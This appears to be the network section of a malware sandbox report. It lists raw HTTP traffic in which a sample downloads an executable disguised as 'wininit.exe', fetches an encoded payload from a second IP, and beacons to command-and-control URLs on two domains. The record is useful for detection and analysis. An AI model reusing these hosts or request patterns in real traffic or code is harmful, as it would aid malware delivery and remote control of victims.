Network Analysis

GET /winSpace/wininit.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E) Host: 103.170.120.247 Connection: Keep-Alive

HTTP/1.1 200 OK Date: Thu, 08 Jun 2023 08:35:57 GMT Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28 Last-Modified: Wed, 07 Jun 2023 06:10:52 GMT ETag: "fe9d0-5fd83ff8179e7" Accept-Ranges: bytes Content-Length: 1042896 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload

GET /mi/md/kp/HSuJRpsszEVxY182.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Host: 107.172.148.208 Cache-Control: no-cache

HTTP/1.1 200 OK Date: Thu, 08 Jun 2023 08:36:47 GMT Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17 Last-Modified: Wed, 07 Jun 2023 06:09:11 GMT ETag: "2e440-5fd83f97ef17e" Accept-Ranges: bytes Content-Length: 189504 Content-Type: application/octet-stream

GET /be03/?GVTh=jhI+vywCMt2npbDJzeD9/lYKEbD8JLwdnODL6xC0Csx6vWRUimADe+yjE737e9SxfNKLZW43&uzu8=jjIxZ4h8M02li4 HTTP/1.1 Host: www.360elemental.com Connection: close

HTTP/1.1 200 OK date: Thu, 08 Jun 2023 08:37:22 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding x-powered-by: PHP/8.1.17 expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_lcieL+vDLvJCvqkQONQGcLBN8v/h5mBIjEiDAJqGlR8KWLtdcTGdGLShRj4nCix3lPoULQG4KvICrJRlrIfuHA== last-modified: Thu, 08 Jun 2023 08:37:22 GMT x-cache-miss-from: parking-8b8f7865d-s9649 server: NginX connection: close

GET /be03/?GVTh=az/6JVy9Wk8RCbLeWnMudjda35MxTzQJIXkn0z0Udyq1fOX35xGGHIaA46RMb3EB8oPHqyzU&uzu8=jjIxZ4h8M02li4 HTTP/1.1 Host: www.patronbases.cfd Connection: close

HTTP/1.1 404 Not Found Server: nginx Date: Thu, 08 Jun 2023 08:37:41 GMT Content-Type: text/html Content-Length: 146 Connection: close